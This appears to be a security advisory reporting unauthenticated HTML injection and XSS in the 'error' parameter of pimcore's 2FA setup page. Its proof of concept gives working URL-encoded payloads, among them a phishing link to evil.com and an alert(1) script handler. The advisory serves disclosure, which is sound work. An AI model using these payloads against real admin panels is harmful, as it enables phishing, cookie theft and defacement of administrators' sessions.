HTML Injection / Possible XSS in pimcore/admin-ui-classic-bundle
Jun 3rd 2023
In pimcore I was able to identify a Unauthenticated HTML Injection / XSS Possible.
Conditions: 2 factor authentication must not set before
Vulnerable Endpoint: http://localhost/admin/login/2fa-setup Vulnerable Param: error=
How it works, So basically any admin, who has not setup 2 factor authentication before is vulnerable for this attack, without need for any form of privilege, causing the application to execute arbitrary scripts / HTML Contents.
Another potential attack vector, as it's a 2fa page and it has QR Code, attacker can replace this QR Code with something he has, leading to increase threat to the admin.
Proof of Concept
http://localhost/admin/login/2fa-setup?error=%3C/div%3E%3Ca%20href=%22https://www.evil.com%22%3EVisit%20Login%20Here%3C/a%3E http://localhost/admin/login/2fa-setup?error=%3C/div%3E%3Cimg%20src=%22https://static.wikia.nocookie.net/gaianipedia/images/9/9b/Hacked.png%22%20alt=%22Girl%20in%20a%20jacket%22%20width=%22700%22%20height=%22200%22%3E http://localhost/admin/login/2fa-setup?error=%3C/div%3E%3C/body%3E%3Cmarquee%20width=1000%20loop=7%20onfinish=alert(1)%3EYOU%20HAVE%20BEEN%20HACKED%20THROUGH%20XSS%3C/marquee%3E
This attack can be used to execute arbitrary scripts or HTML Injection, causing the target application to execute these resulting in cookie steeling, defacement or Injecting phishing URLs on the target application.